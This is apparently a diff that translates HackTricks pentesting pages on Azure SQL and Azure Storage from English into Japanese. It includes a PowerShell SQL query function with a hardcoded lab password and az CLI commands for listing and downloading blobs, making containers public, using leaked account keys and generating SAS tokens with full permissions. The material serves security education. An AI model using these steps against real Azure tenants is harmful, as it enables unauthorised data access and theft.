$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
|
||||
$Connection = New-Object System.Data.SqlClient.SqlConnection $Connection_string
|
||||
$Connection.Open()
|
||||
$Command = New-Object System.Data.SqlClient.SqlCommand
|
||||
$Command.Connection = $Connection
|
||||
$Command.CommandText = $query
|
||||
$Reader = $Command.ExecuteReader()
|
||||
while ($Reader.Read()) {
|
||||
$Reader.GetValue(0)
|
||||
}
|
||||
$Connection.Close()
|
||||
param($query)
|
||||
$Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;"
|
||||
$Connection = New-Object System.Data.SqlClient.SqlConnection $Connection_string
|
||||
$Connection.Open()
|
||||
$Command = New-Object System.Data.SqlClient.SqlCommand
|
||||
$Command.Connection = $Connection
|
||||
$Command.CommandText = $query
|
||||
$Reader = $Command.ExecuteReader()
|
||||
while ($Reader.Read()) {
|
||||
$Reader.GetValue(0)
|
||||
}
|
||||
$Connection.Close()
|
||||
}
|
||||
|
||||
invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;'
|
||||
```
|
||||
|
||||
You can also use sqlcmd to access the database. It is important to know if the server allows public connections `az sql server show --name <server-name> --resource-group <resource-group>`, and also if it the firewall rule let's our IP to access:
|
||||
|
||||
データベースにアクセスするためにsqlcmdを使用することもできます。サーバーがパブリック接続を許可しているかどうかを確認することが重要です `az sql server show --name <server-name> --resource-group <resource-group>`、また、ファイアウォールルールが私たちのIPのアクセスを許可しているかどうかも確認する必要があります:
|
||||
```powershell
|
||||
sqlcmd -S <sql-server>.database.windows.net -U <server-user> -P <server-passworkd> -d <database>
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/azure-sql-iaas-vs-paas-what-is-overview?view=azuresql)
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/database/single-database-overview?view=azuresql)
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/managed-instance/sql-managed-instance-paas-overview?view=azuresql)
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql](https://learn.microsoft.com/en-us/azure/azure-sql/virtual-machines/windows/sql-server-on-azure-vm-iaas-what-is-overview?view=azuresql)
|
||||
|
||||
## Privilege Escalation
|
||||
## 権限昇格
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-sql-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## ポストエクスプロイト
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,227 +1,216 @@
|
||||
# Az - Storage Accounts & Blobs
|
||||
# Az - ストレージアカウントとBlob
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
Azure Storage Accounts are fundamental services in Microsoft Azure that provide scalable, secure, and highly available cloud **storage for various data types**, including blobs (binary large objects), files, queues, and tables. They serve as containers that group these different storage services together under a single namespace for easy management.
|
||||
Azureストレージアカウントは、Microsoft Azureの基本的なサービスであり、スケーラブルで安全かつ高可用性のあるクラウド**ストレージをさまざまなデータタイプ**に提供します。これには、Blob(バイナリ大オブジェクト)、ファイル、キュー、テーブルが含まれます。これらは、簡単な管理のために単一の名前空間の下で異なるストレージサービスをグループ化するコンテナとして機能します。
|
||||
|
||||
**Main configuration options**:
|
||||
**主な構成オプション**:
|
||||
|
||||
- Every storage account must have a **uniq name across all Azure**.
|
||||
- Every storage account is deployed in a **region** or in an Azure extended zone
|
||||
- It's possible to select the **premium** version of the storage account for better performance
|
||||
- It's possible to select among **4 types of redundancy to protect** against rack, drive and datacenter **failures**.
|
||||
- すべてのストレージアカウントは、**Azure全体でユニークな名前**を持つ必要があります。
|
||||
- すべてのストレージアカウントは、**リージョン**またはAzure拡張ゾーンにデプロイされます。
|
||||
- より良いパフォーマンスのために、ストレージアカウントの**プレミアム**バージョンを選択することが可能です。
|
||||
- ラック、ドライブ、データセンターの**障害**から保護するために、**4種類の冗長性を選択**できます。
|
||||
|
||||
**Security configuration options**:
|
||||
**セキュリティ構成オプション**:
|
||||
|
||||
- **Require secure transfer for REST API operations**: Require TLS in any communication with the storage
|
||||
- **Allows enabling anonymous access on individual containers**: If not, it won't be possible to enable anonymous access in the future
|
||||
- **Enable storage account key access**: If not, access with Shared Keys will be forbidden
|
||||
- **Minimum TLS version**
|
||||
- **Permitted scope for copy operations**: Allow from any storage account, from any storage account from the same Entra tenant or from storage account with private endpoints in the same virtual network.
|
||||
- **REST API操作のために安全な転送を要求**: ストレージとの通信にTLSを要求します。
|
||||
- **個別のコンテナでの匿名アクセスを有効にすることを許可**: そうでない場合、将来的に匿名アクセスを有効にすることはできません。
|
||||
- **ストレージアカウントキーアクセスを有効にする**: そうでない場合、共有キーによるアクセスは禁じられます。
|
||||
- **最小TLSバージョン**
|
||||
- **コピー操作の許可されたスコープ**: すべてのストレージアカウントから、同じEntraテナントのすべてのストレージアカウントから、または同じ仮想ネットワーク内のプライベートエンドポイントを持つストレージアカウントからのアクセスを許可します。
|
||||
|
||||
**Blob Storage options**:
|
||||
**Blobストレージオプション**:
|
||||
|
||||
- **Allow cross-tenant replication**
|
||||
- **Access tier**: Hot (frequently access data), Cool and Cold (rarely accessed data)
|
||||
- **クロステナントレプリケーションを許可**
|
||||
- **アクセス層**: ホット(頻繁にアクセスされるデータ)、クール、コールド(まれにアクセスされるデータ)
|
||||
|
||||
**Networking options**:
|
||||
**ネットワークオプション**:
|
||||
|
||||
- **Network access**:
|
||||
- Allow from all networks
|
||||
- Allow from selected virtual networks and IP addresses
|
||||
- Disable public access and use private access
|
||||
- **Private endpoints**: It allows a private connection to the storage account from a virtual network
|
||||
- **ネットワークアクセス**:
|
||||
- すべてのネットワークから許可
|
||||
- 選択した仮想ネットワークとIPアドレスから許可
|
||||
- 公開アクセスを無効にし、プライベートアクセスを使用
|
||||
- **プライベートエンドポイント**: 仮想ネットワークからストレージアカウントへのプライベート接続を許可します。
|
||||
|
||||
**Data protection options**:
|
||||
**データ保護オプション**:
|
||||
|
||||
- **Point-in-time restore for containers**: Allows to restore containers to an earlier state
|
||||
- It requires versioning, change feed, and blob soft delete to be enabled.
|
||||
- **Enable soft delete for blobs**: It enables a retention period in days for deleted blobs (even overwritten)
|
||||
- **Enable soft delete for containers**: It enables a retention period in days for deleted containers
|
||||
- **Enable soft delete for file shares**: It enables a retention period in days for deleted file shared
|
||||
- **Enable versioning for blobs**: Maintain previous versions of your blobs
|
||||
- **Enable blob change feed**: Keep logs of create, modification, and delete changes to blobs
|
||||
- **Enable version-level immutability support**: Allows you to set time-based retention policy on the account-level that will apply to all blob versions.
|
||||
- Version-level immutability support and point-in-time restore for containers cannot be enabled simultaneously.
|
||||
- **コンテナのポイントインタイムリストア**: コンテナを以前の状態に復元することを許可します。
|
||||
- バージョニング、変更フィード、Blobソフト削除を有効にする必要があります。
|
||||
- **Blobのソフト削除を有効にする**: 削除されたBlob(上書きされたものも含む)に対して日数の保持期間を有効にします。
|
||||
- **コンテナのソフト削除を有効にする**: 削除されたコンテナに対して日数の保持期間を有効にします。
|
||||
- **ファイル共有のソフト削除を有効にする**: 削除されたファイル共有に対して日数の保持期間を有効にします。
|
||||
- **Blobのバージョニングを有効にする**: Blobの以前のバージョンを保持します。
|
||||
- **Blob変更フィードを有効にする**: Blobの作成、変更、削除の変更をログに保持します。
|
||||
- **バージョンレベルの不変性サポートを有効にする**: すべてのBlobバージョンに適用される時間ベースの保持ポリシーをアカウントレベルで設定できます。
|
||||
- バージョンレベルの不変性サポートとコンテナのポイントインタイムリストアは同時に有効にすることはできません。
|
||||
|
||||
**Encryption configuration options**:
|
||||
**暗号化構成オプション**:
|
||||
|
||||
- **Encryption type**: It's possible to use Microsoft-managed keys (MMK) or Customer-managed keys (CMK)
|
||||
- **Enable infrastructure encryption**: Allows to double encrypt the data "for more security"
|
||||
- **暗号化タイプ**: Microsoft管理キー(MMK)または顧客管理キー(CMK)を使用することが可能です。
|
||||
- **インフラストラクチャ暗号化を有効にする**: データを「より安全に」二重暗号化することを許可します。
|
||||
|
||||
### Storage endpoints
|
||||
### ストレージエンドポイント
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="197">ストレージサービス</th><th>エンドポイント</th></tr></thead><tbody><tr><td><strong>Blobストレージ</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>データレイクストレージ</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azureファイル</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>キューストレージ</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>テーブルストレージ</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
|
||||
### Public Exposure
|
||||
### 公開露出
|
||||
|
||||
If "Allow Blob public access" is **enabled** (disabled by default), when creating a container it's possible to:
|
||||
「Blobの公開アクセスを許可」が**有効**(デフォルトでは無効)になっている場合、コンテナを作成する際に次のことが可能です:
|
||||
|
||||
- Give **public access to read blobs** (you need to know the name).
|
||||
- **List container blobs** and **read** them.
|
||||
- Make it fully **private**
|
||||
- **Blobを読むための公開アクセスを提供**(名前を知っている必要があります)。
|
||||
- **コンテナのBlobをリスト**し、**それらを読む**。
|
||||
- 完全に**プライベート**にする。
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Connect to Storage
|
||||
### ストレージへの接続
|
||||
|
||||
If you find any **storage** you can connect to you could use the tool [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) to do so.
|
||||
接続できる**ストレージ**を見つけた場合、[**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/)ツールを使用して接続できます。
|
||||
|
||||
## Access to Storage <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
## ストレージへのアクセス <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
|
||||
### RBAC
|
||||
|
||||
It's possible to use Entra ID principals with **RBAC roles** to access storage accounts and it's the recommended way.
|
||||
ストレージアカウントにアクセスするために、**RBACロール**を使用してEntra IDプリンシパルを使用することが可能であり、推奨される方法です。
|
||||
|
||||
### Access Keys
|
||||
### アクセスキー
|
||||
|
||||
The storage accounts have access keys that can be used to access it. This provides f**ull access to the storage account.**
|
||||
ストレージアカウントには、アクセスするために使用できるアクセスキーがあります。これにより、ストレージアカウントへの**完全なアクセス**が提供されます。
|
||||
|
||||
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **Shared Keys & Lite Shared Keys**
|
||||
### **共有キーとライト共有キー**
|
||||
|
||||
It's possible to [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) signed with the access keys to authorize access to certain resources via a signed URL.
|
||||
特定のリソースへのアクセスを認可するために、アクセスキーで署名された[**共有キーを生成**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key)することが可能です。
|
||||
|
||||
> [!NOTE]
|
||||
> Note that the `CanonicalizedResource` part represents the storage services resource (URI). And if any part in the URL is encoded, it should also be encoded inside the `CanonicalizedResource`.
|
||||
> `CanonicalizedResource`部分は、ストレージサービスリソース(URI)を表します。URLの任意の部分がエンコードされている場合、`CanonicalizedResource`内でもエンコードする必要があります。
|
||||
|
||||
> [!NOTE]
|
||||
> This is **used by default by `az` cli** to authenticate requests. To make it use the Entra ID principal credentials indicate the param `--auth-mode login`.
|
||||
|
||||
- It's possible to generate a **shared key for blob, queue and file services** signing the following information:
|
||||
> これは**デフォルトで`az` cliによって使用されます**。Entra IDプリンシパルの資格情報を使用するには、パラメータ`--auth-mode login`を指定します。
|
||||
|
||||
- **Blob、キュー、ファイルサービスのための共有キーを生成**することが可能です。次の情報に署名します:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-Encoding + "\n" +
|
||||
Content-Language + "\n" +
|
||||
Content-Length + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
If-Modified-Since + "\n" +
|
||||
If-Match + "\n" +
|
||||
If-None-Match + "\n" +
|
||||
If-Unmodified-Since + "\n" +
|
||||
Range + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
Content-Encoding + "\n" +
|
||||
Content-Language + "\n" +
|
||||
Content-Length + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
If-Modified-Since + "\n" +
|
||||
If-Match + "\n" +
|
||||
If-None-Match + "\n" +
|
||||
If-Unmodified-Since + "\n" +
|
||||
Range + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
|
||||
- It's possible to generate a **shared key for table services** signing the following information:
|
||||
|
||||
- テーブルサービスの**共有キー**を生成することが可能です。次の情報を署名します:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedResource;
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
|
||||
- It's possible to generate a **lite shared key for blob, queue and file services** signing the following information:
|
||||
|
||||
- **Blob、キュー、およびファイルサービス**のための**ライト共有キー**を生成することが可能で、以下の情報に署名します:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
Content-MD5 + "\n" +
|
||||
Content-Type + "\n" +
|
||||
Date + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
|
||||
- It's possible to generate a **lite shared key for table services** signing the following information:
|
||||
|
||||
- テーブルサービスのための**ライト共有キー**を生成することが可能で、以下の情報に署名します:
|
||||
```bash
|
||||
StringToSign = Date + "\n"
|
||||
CanonicalizedResource
|
||||
CanonicalizedResource
|
||||
```
|
||||
|
||||
Then, to use the key, it can be done in the Authorization header following the syntax:
|
||||
|
||||
次に、キーを使用するには、次の構文に従ってAuthorizationヘッダーに記述できます:
|
||||
```bash
|
||||
Authorization="[SharedKey|SharedKeyLite] <AccountName>:<Signature>"
|
||||
#e.g.
|
||||
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
|
||||
|
||||
PUT http://myaccount/mycontainer?restype=container&timeout=30 HTTP/1.1
|
||||
x-ms-version: 2014-02-14
|
||||
x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
|
||||
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
|
||||
Content-Length: 0
|
||||
x-ms-version: 2014-02-14
|
||||
x-ms-date: Fri, 26 Jun 2015 23:39:12 GMT
|
||||
Authorization: SharedKey myaccount:ctzMq410TV3wS7upTBcunJTDLEJwMAZuFPfr0mrrA08=
|
||||
Content-Length: 0
|
||||
```
|
||||
|
||||
### **Shared Access Signature** (SAS)
|
||||
|
||||
Shared Access Signatures (SAS) are secure, time-limited URLs that **grant specific permissions to access resource**s in an Azure Storage account without exposing the account's access keys. While access keys provide full administrative access to all resources, SAS allows for granular control by specifying permissions (like read or write) and defining an expiration time.
|
||||
Shared Access Signatures (SAS) は、Azure Storage アカウント内のリソースにアクセスするための特定の権限を付与する**安全で時間制限のある URL**です。アクセスキーはすべてのリソースへの完全な管理アクセスを提供しますが、SAS は権限(読み取りや書き込みなど)を指定し、期限を定義することで細かい制御を可能にします。
|
||||
|
||||
#### SAS Types
|
||||
#### SAS タイプ
|
||||
|
||||
- **User delegation SAS**: This is created from an **Entra ID principal** which will sign the SAS and delegate the permissions from the user to the SAS. It can only be used with **blob and data lake storage** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). It's possible to **revoke** all generated user delegated SAS.
|
||||
- Even if it's possible to generate a delegation SAS with "more" permissions than the ones the user has. However, if the principal doesn't have them, it won't work (no privesc).
|
||||
- **Service SAS**: This is signed using one of the storage account **access keys**. It can be used to grant access to specific resources in a single storage service. If the key is renewed, the SAS will stop working.
|
||||
- **Account SAS**: It's also signed with one of the storage account **access keys**. It grants access to resources across a storage account services (Blob, Queue, Table, File) and can include service-level operations.
|
||||
- **ユーザー委任 SAS**: これは **Entra ID プリンシパル** から作成され、SAS に署名し、ユーザーから SAS への権限を委任します。これは **blob およびデータレイクストレージ** でのみ使用できます ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas))。生成されたすべてのユーザー委任 SAS を **取り消す** ことが可能です。
|
||||
- ユーザーが持っている権限よりも「多くの」権限を持つ委任 SAS を生成することは可能ですが、プリンシパルがそれらの権限を持っていない場合は機能しません(権限昇格はありません)。
|
||||
- **サービス SAS**: これはストレージアカウントの **アクセスキー** のいずれかを使用して署名されます。特定のリソースへのアクセスを単一のストレージサービスに付与するために使用できます。キーが更新されると、SAS は機能しなくなります。
|
||||
- **アカウント SAS**: これもストレージアカウントの **アクセスキー** のいずれかで署名されます。ストレージアカウントサービス(Blob、Queue、Table、File)全体のリソースへのアクセスを付与し、サービスレベルの操作を含むことができます。
|
||||
|
||||
A SAS URL signed by an **access key** looks like this:
|
||||
**アクセスキー** で署名された SAS URL は次のようになります:
|
||||
|
||||
- `https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
A SAS URL signed as a **user delegation** looks like this:
|
||||
**ユーザー委任** として署名された SAS URL は次のようになります:
|
||||
|
||||
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
|
||||
|
||||
Note some **http params**:
|
||||
いくつかの **http パラメータ** に注意してください:
|
||||
|
||||
- The **`se`** param indicates the **expiration date** of the SAS
|
||||
- The **`sp`** param indicates the **permissions** of the SAS
|
||||
- The **`sig`** is the **signature** validating the SAS
|
||||
- **`se`** パラメータは SAS の **有効期限** を示します
|
||||
- **`sp`** パラメータは SAS の **権限** を示します
|
||||
- **`sig`** は SAS を検証するための **署名** です
|
||||
|
||||
#### SAS permissions
|
||||
#### SAS 権限
|
||||
|
||||
When generating a SAS it's needed to indicate the permissions that it should be granting. Depending on the objet the SAS is being generated over different permissions might be included. For example:
|
||||
SAS を生成する際には、付与すべき権限を示す必要があります。SAS が生成されるオブジェクトに応じて、異なる権限が含まれる場合があります。例えば:
|
||||
|
||||
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
|
||||
|
||||
## SFTP Support for Azure Blob Storage
|
||||
## SFTP サポート for Azure Blob Storage
|
||||
|
||||
Azure Blob Storage now supports the SSH File Transfer Protocol (SFTP), enabling secure file transfer and management directly to Blob Storage without requiring custom solutions or third-party products.
|
||||
Azure Blob Storage は現在、SSH ファイル転送プロトコル (SFTP) をサポートしており、カスタムソリューションやサードパーティ製品を必要とせずに、Blob Storage への安全なファイル転送と管理を可能にします。
|
||||
|
||||
### Key Features
|
||||
### 主な機能
|
||||
|
||||
- Protocol Support: SFTP works with Blob Storage accounts configured with hierarchical namespace (HNS). This organizes blobs into directories and subdirectories for easier navigation.
|
||||
- Security: SFTP uses local user identities for authentication and does not integrate with RBAC or ABAC. Each local user can authenticate via:
|
||||
- Azure-generated passwords
|
||||
- Public-private SSH key pairs
|
||||
- Granular Permissions: Permissions such as Read, Write, Delete, and List can be assigned to local users for up to 100 containers.
|
||||
- Networking Considerations: SFTP connections are made through port 22. Azure supports network configurations like firewalls, private endpoints, or virtual networks to secure SFTP traffic.
|
||||
- プロトコルサポート: SFTP は階層名前空間 (HNS) で構成された Blob Storage アカウントで動作します。これにより、Blob をディレクトリおよびサブディレクトリに整理し、ナビゲーションを容易にします。
|
||||
- セキュリティ: SFTP は認証のためにローカルユーザーのアイデンティティを使用し、RBAC や ABAC とは統合されていません。各ローカルユーザーは次の方法で認証できます:
|
||||
- Azure 生成のパスワード
|
||||
- 公開鍵-秘密鍵の SSH キーペア
|
||||
- 細かい権限: 読み取り、書き込み、削除、リストなどの権限を最大 100 のコンテナに対してローカルユーザーに割り当てることができます。
|
||||
- ネットワークの考慮事項: SFTP 接続はポート 22 を通じて行われます。Azure はファイアウォール、プライベートエンドポイント、または仮想ネットワークなどのネットワーク構成をサポートし、SFTP トラフィックを保護します。
|
||||
|
||||
### Setup Requirements
|
||||
### セットアップ要件
|
||||
|
||||
- Hierarchical Namespace: HNS must be enabled when creating the storage account.
|
||||
- Supported Encryption: Requires Microsoft Security Development Lifecycle (SDL)-approved cryptographic algorithms (e.g., rsa-sha2-256, ecdsa-sha2-nistp256).
|
||||
- SFTP Configuration:
|
||||
- Enable SFTP on the storage account.
|
||||
- Create local user identities with appropriate permissions.
|
||||
- Configure home directories for users to define their starting location within the container.
|
||||
- 階層名前空間: ストレージアカウントを作成する際に HNS を有効にする必要があります。
|
||||
- サポートされる暗号化: Microsoft Security Development Lifecycle (SDL) に承認された暗号アルゴリズム (例: rsa-sha2-256, ecdsa-sha2-nistp256) が必要です。
|
||||
- SFTP 設定:
|
||||
- ストレージアカウントで SFTP を有効にします。
|
||||
- 適切な権限を持つローカルユーザーのアイデンティティを作成します。
|
||||
- ユーザーのホームディレクトリを設定し、コンテナ内の開始位置を定義します。
|
||||
|
||||
### Permissions
|
||||
### 権限
|
||||
|
||||
| Permission | Symbol | Description |
|
||||
| 権限 | シンボル | 説明 |
|
||||
| ---------------------- | ------ | ------------------------------------ |
|
||||
| **Read** | `r` | Read file content. |
|
||||
| **Write** | `w` | Upload files and create directories. |
|
||||
| **List** | `l` | List contents of directories. |
|
||||
| **Delete** | `d` | Delete files or directories. |
|
||||
| **Create** | `c` | Create files or directories. |
|
||||
| **Modify Ownership** | `o` | Change the owning user or group. |
|
||||
| **Modify Permissions** | `p` | Change ACLs on files or directories. |
|
||||
| **読み取り** | `r` | ファイルの内容を読み取ります。 |
|
||||
| **書き込み** | `w` | ファイルをアップロードし、ディレクトリを作成します。 |
|
||||
| **リスト** | `l` | ディレクトリの内容をリストします。 |
|
||||
| **削除** | `d` | ファイルまたはディレクトリを削除します。 |
|
||||
| **作成** | `c` | ファイルまたはディレクトリを作成します。 |
|
||||
| **所有権の変更** | `o` | 所有するユーザーまたはグループを変更します。 |
|
||||
| **権限の変更** | `p` | ファイルまたはディレクトリの ACL を変更します。 |
|
||||
|
||||
## Enumeration
|
||||
## 列挙
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# Get storage accounts
|
||||
az storage account list #Get the account name from here
|
||||
@@ -231,31 +220,31 @@ az storage account list #Get the account name from here
|
||||
az storage container list --account-name <name>
|
||||
## Check if public access is allowed
|
||||
az storage container show-permission \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
## Make a container public
|
||||
az storage container set-permission \
|
||||
--public-access container \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
--public-access container \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
## List blobs in a container
|
||||
az storage blob list \
|
||||
--container-name <container name> \
|
||||
--account-name <account name>
|
||||
--container-name <container name> \
|
||||
--account-name <account name>
|
||||
## Download blob
|
||||
az storage blob download \
|
||||
--account-name <account name> \
|
||||
--container-name <container name> \
|
||||
--name <blob name> \
|
||||
--file </path/to/local/file>
|
||||
--account-name <account name> \
|
||||
--container-name <container name> \
|
||||
--name <blob name> \
|
||||
--file </path/to/local/file>
|
||||
## Create container policy
|
||||
az storage container policy create \
|
||||
--account-name mystorageaccount \
|
||||
--container-name mycontainer \
|
||||
--name fullaccesspolicy \
|
||||
--permissions racwdl \
|
||||
--start 2023-11-22T00:00Z \
|
||||
--expiry 2024-11-22T00:00Z
|
||||
--account-name mystorageaccount \
|
||||
--container-name mycontainer \
|
||||
--name fullaccesspolicy \
|
||||
--permissions racwdl \
|
||||
--start 2023-11-22T00:00Z \
|
||||
--expiry 2024-11-22T00:00Z
|
||||
|
||||
# QUEUE
|
||||
az storage queue list --account-name <name>
|
||||
@@ -268,81 +257,79 @@ az storage account show -n <name> --query "{KeyPolicy:keyPolicy}"
|
||||
## Once having the key, it's possible to use it with the argument --account-key
|
||||
## Enum blobs with account key
|
||||
az storage blob list \
|
||||
--container-name <container name> \
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw=="
|
||||
--container-name <container name> \
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw=="
|
||||
## Download a file using an account key
|
||||
az storage blob download \
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
|
||||
--container-name <container name> \
|
||||
--name <blob name> \
|
||||
--file </path/to/local/file>
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
|
||||
--container-name <container name> \
|
||||
--name <blob name> \
|
||||
--file </path/to/local/file>
|
||||
## Upload a file using an account key
|
||||
az storage blob upload \
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
|
||||
--container-name <container name> \
|
||||
--file </path/to/local/file>
|
||||
--account-name <account name> \
|
||||
--account-key "ZrF40pkVKvWPUr[...]v7LZw==" \
|
||||
--container-name <container name> \
|
||||
--file </path/to/local/file>
|
||||
|
||||
# SAS
|
||||
## List access policies
|
||||
az storage <container|queue|share|table> policy list \
|
||||
--account-name <acc name> \
|
||||
--container-name <container name>
|
||||
--account-name <acc name> \
|
||||
--container-name <container name>
|
||||
|
||||
## Generate SAS with all permissions using an access key
|
||||
az storage <container|queue|share|table|blob> generate-sas \
|
||||
--permissions acdefilmrtwxy \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
--permissions acdefilmrtwxy \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
-n <container-name>
|
||||
|
||||
## Generate SAS with all permissions using via user delegation
|
||||
az storage <container|queue|share|table|blob> generate-sas \
|
||||
--permissions acdefilmrtwxy \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
--as-user --auth-mode login \
|
||||
-n <container-name>
|
||||
--permissions acdefilmrtwxy \
|
||||
--expiry 2024-12-31T23:59:00Z \
|
||||
--account-name <acc-name> \
|
||||
--as-user --auth-mode login \
|
||||
-n <container-name>
|
||||
|
||||
## Generate account SAS
|
||||
az storage account generate-sas \
|
||||
